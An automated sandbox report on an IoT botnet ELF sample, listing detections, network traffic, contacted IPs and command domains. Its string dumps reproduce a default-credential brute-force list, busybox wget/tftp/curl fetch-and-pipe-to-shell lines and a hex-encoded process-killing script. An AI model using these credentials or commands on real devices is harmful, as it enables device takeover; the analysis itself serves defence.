Linux Analysis Report
arm5.elf

Overview

General Information

Sample name: arm5.elf
Analysis ID: 1540480
MD5: e81117261f952a792693d3c93cd535af
SHA1: f9b8dadaefb39efde74fa30d0e4479a89d61fbda
SHA256: 1ded319558c22390e5df32092eecff3ec11d9b29a47ea69c1ec0ee8522fdcce5
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 60
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Detected TCP or UDP traffic on non-standard ports
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: arm5.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: arm5.elf ReversingLabs: Detection: 42%
Found strings indicative of a multi-platform dropper
Source: arm5.elf String: ash|login|wget|curl|tftp|ntpdate
Source: arm5.elf String: /proc//exe|ash|login|wget|curl|tftp|ntpdate/fd/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/self/exe/. /proc//maps/lib//dev/watchdog/dev/misc/watchdogtelnetd|udhcpc|ntpclient|boa|httpd|mini_http|watchdog|pppdM
Source: arm5.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 156.244.13.91 ports 61543,1,3,4,5,6
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:35268 -> 156.244.13.91:61543
Source: global traffic TCP traffic: 192.168.2.23:42674 -> 103.253.147.242:7193
Sample listens on a socket
Source: /tmp/arm5.elf (PID: 6218) Socket: 127.0.0.1:1234 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 196.237.51.122
Source: unknown TCP traffic detected without corresponding DNS query: 196.237.51.122
Source: unknown TCP traffic detected without corresponding DNS query: 158.185.112.198
Source: unknown TCP traffic detected without corresponding DNS query: 209.190.116.181
Source: unknown TCP traffic detected without corresponding DNS query: 158.185.112.198
Source: unknown TCP traffic detected without corresponding DNS query: 203.174.56.230
Source: unknown TCP traffic detected without corresponding DNS query: 209.190.116.181
Source: unknown TCP traffic detected without corresponding DNS query: 203.174.56.230
Source: unknown TCP traffic detected without corresponding DNS query: 131.238.124.239
Source: unknown TCP traffic detected without corresponding DNS query: 205.189.208.138
Source: unknown TCP traffic detected without corresponding DNS query: 131.238.124.239
Source: unknown TCP traffic detected without corresponding DNS query: 205.189.208.138
Source: unknown TCP traffic detected without corresponding DNS query: 186.93.185.52
Source: unknown TCP traffic detected without corresponding DNS query: 16.126.63.208
Source: unknown TCP traffic detected without corresponding DNS query: 186.93.185.52
Source: unknown TCP traffic detected without corresponding DNS query: 116.237.73.32
Source: unknown TCP traffic detected without corresponding DNS query: 16.126.63.208
Source: unknown TCP traffic detected without corresponding DNS query: 31.32.37.82
Source: unknown TCP traffic detected without corresponding DNS query: 116.237.73.32
Source: unknown TCP traffic detected without corresponding DNS query: 186.111.76.80
Source: unknown TCP traffic detected without corresponding DNS query: 31.32.37.82
Source: unknown TCP traffic detected without corresponding DNS query: 53.5.63.151
Source: unknown TCP traffic detected without corresponding DNS query: 186.111.76.80
Source: unknown TCP traffic detected without corresponding DNS query: 207.35.217.45
Source: unknown TCP traffic detected without corresponding DNS query: 53.5.63.151
Source: unknown TCP traffic detected without corresponding DNS query: 129.29.208.19
Source: unknown TCP traffic detected without corresponding DNS query: 207.35.217.45
Source: unknown TCP traffic detected without corresponding DNS query: 85.115.57.238
Source: unknown TCP traffic detected without corresponding DNS query: 129.29.208.19
Source: unknown TCP traffic detected without corresponding DNS query: 85.115.57.238
Source: unknown TCP traffic detected without corresponding DNS query: 86.220.130.163
Source: unknown TCP traffic detected without corresponding DNS query: 86.220.130.163
Source: unknown TCP traffic detected without corresponding DNS query: 170.138.131.118
Source: unknown TCP traffic detected without corresponding DNS query: 16.75.203.149
Source: unknown TCP traffic detected without corresponding DNS query: 217.178.20.53
Source: unknown TCP traffic detected without corresponding DNS query: 170.138.131.118
Source: unknown TCP traffic detected without corresponding DNS query: 16.75.203.149
Source: unknown TCP traffic detected without corresponding DNS query: 129.162.23.72
Source: unknown TCP traffic detected without corresponding DNS query: 217.178.20.53
Source: unknown TCP traffic detected without corresponding DNS query: 9.113.28.229
Source: unknown TCP traffic detected without corresponding DNS query: 214.170.253.117
Source: unknown TCP traffic detected without corresponding DNS query: 129.162.23.72
Source: unknown TCP traffic detected without corresponding DNS query: 218.213.229.17
Source: unknown TCP traffic detected without corresponding DNS query: 9.113.28.229
Source: unknown TCP traffic detected without corresponding DNS query: 38.64.139.234
Source: unknown TCP traffic detected without corresponding DNS query: 214.170.253.117
Source: unknown TCP traffic detected without corresponding DNS query: 43.113.172.27
Source: unknown TCP traffic detected without corresponding DNS query: 218.213.229.17
Source: unknown TCP traffic detected without corresponding DNS query: 75.195.181.95
Source: global traffic DNS traffic detected: DNS query: 2joints.libre
Source: global traffic DNS traffic detected: DNS query: nineteen.libre
Source: arm5.elf String found in binary or memory: http:///curl.sh
Source: arm5.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal60.troj.linELF@0/0@2/0
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/arm5.elf (PID: 6218) Queries kernel information via 'uname': Jump to behavior
Source: arm5.elf, 6218.1.00007fff762b8000.00007fff762d9000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm5.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm5.elf
Source: arm5.elf, 6218.1.0000557761d1d000.0000557761e6b000.rw-.sdmp Binary or memory string: awU!/etc/qemu-binfmt/arm
Source: arm5.elf, 6218.1.0000557761d1d000.0000557761e6b000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: arm5.elf, 6218.1.00007fff762b8000.00007fff762d9000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
216.176.234.133
 unknown United States
7029 WINDSTREAMUS false
116.64.228.209
 unknown Japan 9824 JTCL-JP-ASJupiterTelecommunicationCoLtdJP false
112.74.128.229
 unknown China
37963 CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd false
43.71.188.183
 unknown Japan 4249 LILLY-ASUS false
95.149.131.191
 unknown United Kingdom
12576 EELtdGB false
178.247.32.54
 unknown Turkey
16135 TURKCELL-ASTurkcellASTR false
100.47.5.17
 unknown United States
14654 WAYPORTUS false
181.122.86.157
 unknown Paraguay
23201 TelecelSAPY false
104.209.38.195
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
95.10.29.13
 unknown Turkey
9121 TTNETTR false
113.33.0.177
 unknown Japan 17506 UCOMARTERIANetworksCorporationJP false
195.123.251.208
 unknown Ukraine
197726 UKRNAMES-ASUA false
208.236.197.220
 unknown United States
4208 THE-ISERV-COMPANYUS false
179.132.170.195
 unknown Brazil
26599 TELEFONICABRASILSABR false
153.76.75.228
 unknown United States
14962 NCR-252US false
39.53.52.78
 unknown Pakistan
45595 PKTELECOM-AS-PKPakistanTelecomCompanyLimitedPK false
170.233.216.80
 unknown Paraguay
52455 VIRGINIAMARGARITASANCHEZDEFURLANETTOPY false
201.163.118.205
 unknown Mexico
11172 AlestraSdeRLdeCVMX false
161.132.159.203
 unknown Peru
3132 RedCientificaPeruanaPE false
107.110.167.5
 unknown United States
7018 ATT-INTERNET4US false
74.48.163.18
 unknown Canada
14663 TELUS-3CA false
59.202.185.124
 unknown China
2516 KDDIKDDICORPORATIONJP false
189.128.224.219
 unknown Mexico
8151 UninetSAdeCVMX false
203.181.231.34
 unknown Japan 2907 SINET-ASResearchOrganizationofInformationandSystemsN false
157.251.90.237
 unknown United States
32934 FACEBOOKUS false
50.212.144.30
 unknown United States
7922 COMCAST-7922US false
17.75.136.63
 unknown United States
714 APPLE-ENGINEERINGUS false
125.124.190.193
 unknown China
58461 CT-HANGZHOU-IDCNo288Fu-chunRoadCN false
202.15.194.242
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
129.114.194.120
 unknown United States
14104 OTS-AS-14104US false
79.194.30.196
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
41.14.124.27
 unknown South Africa
29975 VODACOM-ZA false
58.16.130.99
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
5.108.160.38
 unknown Saudi Arabia
35819 MOBILY-ASEtihadEtisalatCompanyMobilySA false
141.191.67.183
 unknown United States
7165 AXAFINANCIAL-ASNUS false
79.173.47.183
 unknown Poland
39834 TESAT-ASPL false
65.2.255.226
 unknown United States
16509 AMAZON-02US false
86.41.2.118
 unknown Ireland
5466 EIRCOMInternetHouseIE false
52.87.139.240
 unknown United States
14618 AMAZON-AESUS false
95.36.113.95
 unknown Netherlands
15670 BBNED-AS1NL false
52.11.231.228
 unknown United States
16509 AMAZON-02US false
29.5.212.42
 unknown United States
7922 COMCAST-7922US false
51.180.254.38
 unknown United States
2686 ATGS-MMD-ASUS false
170.31.17.163
 unknown United States
17094 MUTOMAHA-IUS false
198.210.6.186
 unknown United States
54836 TRIN-ASUS false
165.111.13.169
 unknown United States
4185 ATTIS-ASN4185US false
178.235.230.100
 unknown Poland
29314 VECTRANET-ASAlZwyciestwa25381-525GdyniaPolandPL false
211.16.148.231
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
83.213.35.209
 unknown Spain
12338 EUSKALTELES false
112.124.60.45
 unknown China
37963 CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd false
211.113.8.121
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
204.11.179.88
 unknown United States
26451 FUTURE-WIRELESS-TECHNOLOGIES-OF-NEBRASKAUS false
39.123.73.108
 unknown Korea Republic of
9318 SKB-ASSKBroadbandCoLtdKR false
155.22.1.243
 unknown United States
1541 DNIC-ASBLK-01534-01546US false
27.41.222.193
 unknown China
17816 CHINA169-GZChinaUnicomIPnetworkChina169Guangdongprovi false
116.221.72.23
 unknown Japan 9824 JTCL-JP-ASJupiterTelecommunicationCoLtdJP false
158.68.196.7
 unknown United States
22284 AS22284-DOI-OPSUS false
121.109.134.136
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
59.44.247.72
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
117.113.15.209
 unknown China
4847 CNIX-APChinaNetworksInter-ExchangeCN false
97.94.180.203
 unknown United States
20115 CHARTER-20115US false
147.203.25.208
 unknown United States
53559 ANONYMIZERUS false
178.165.59.76
 unknown Ukraine
34700 CITYNET-ASMaxnetLLCUA false
159.4.133.179
 unknown United States
1906 NORTHROP-GRUMMANUS false
72.33.103.173
 unknown United States
59 WISC-MADISON-ASUS false
109.99.141.218
 unknown Romania
9050 RTDBucharestRomaniaRO false
6.228.224.244
 unknown United States
3356 LEVEL3US false
158.162.118.129
 unknown Portugal
1930 RCCNFundacaoparaaCienciaeaTecnologiaIPPT false
84.244.100.248
 unknown Czech Republic
25248 BLUETONE-ASTheCzechRepublicCZ false
92.83.15.153
 unknown Romania
9050 RTDBucharestRomaniaRO false
209.21.147.89
 unknown United States
2828 XO-AS15US false
88.69.191.124
 unknown Germany
3209 VODANETInternationalIP-BackboneofVodafoneDE false
43.64.79.138
 unknown Japan 4249 LILLY-ASUS false
122.177.39.117
 unknown India
24560 AIRTELBROADBAND-AS-APBhartiAirtelLtdTelemediaServices false
39.237.17.103
 unknown Indonesia
23693 TELKOMSEL-ASN-IDPTTelekomunikasiSelularID false
215.25.86.214
 unknown United States
721 DNIC-ASBLK-00721-00726US false
116.232.159.41
 unknown China
4812 CHINANET-SH-APChinaTelecomGroupCN false
152.134.222.150
 unknown United States
29992 VA-TMP-COREUS false
35.117.120.61
 unknown United States
237 MERIT-AS-14US false
67.38.63.20
 unknown United States
7018 ATT-INTERNET4US false
129.148.139.83
 unknown United States
31898 ORACLE-BMC-31898US false
14.233.103.73
 unknown Viet Nam
45899 VNPT-AS-VNVNPTCorpVN false
93.225.172.220
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
144.221.81.255
 unknown United States
7896 NU-ASUS false
60.43.146.12
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
136.18.205.29
 unknown United States
60311 ONEFMCH false
158.135.202.235
 unknown United States
33187 SHSU-AS-1US false
5.137.88.200
 unknown Russian Federation
12389 ROSTELECOM-ASRU false
49.207.190.124
 unknown India
24309 CABLELITE-AS-APAtriaConvergenceTechnologiesPvtLtdBro false
195.42.156.147
 unknown Russian Federation
44688 RITS-ASRU false
4.83.186.140
 unknown United States
3356 LEVEL3US false
55.72.112.176
 unknown United States
334 DNIC-ASBLK-00306-00371US false
192.35.121.110
 unknown United States
680 DFNVereinzurFoerderungeinesDeutschenForschungsnetzese false
29.107.117.151
 unknown United States
7922 COMCAST-7922US false
22.228.167.252
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
8.194.67.41
 unknown United States
3356 LEVEL3US false
215.211.179.38
 unknown United States
721 DNIC-ASBLK-00721-00726US false
104.224.77.59
 unknown United States
21769 AS-COLOAMUS false
179.53.143.197
 unknown Dominican Republic
6400 CompaniaDominicanadeTelefonosSADO false
129.69.150.4
 unknown Germany
553 BELWUEBelWue-KoordinationEU false

Contacted Domains

Name IP Active
nineteen.libre 103.253.147.242 true
2joints.libre 103.253.147.242 true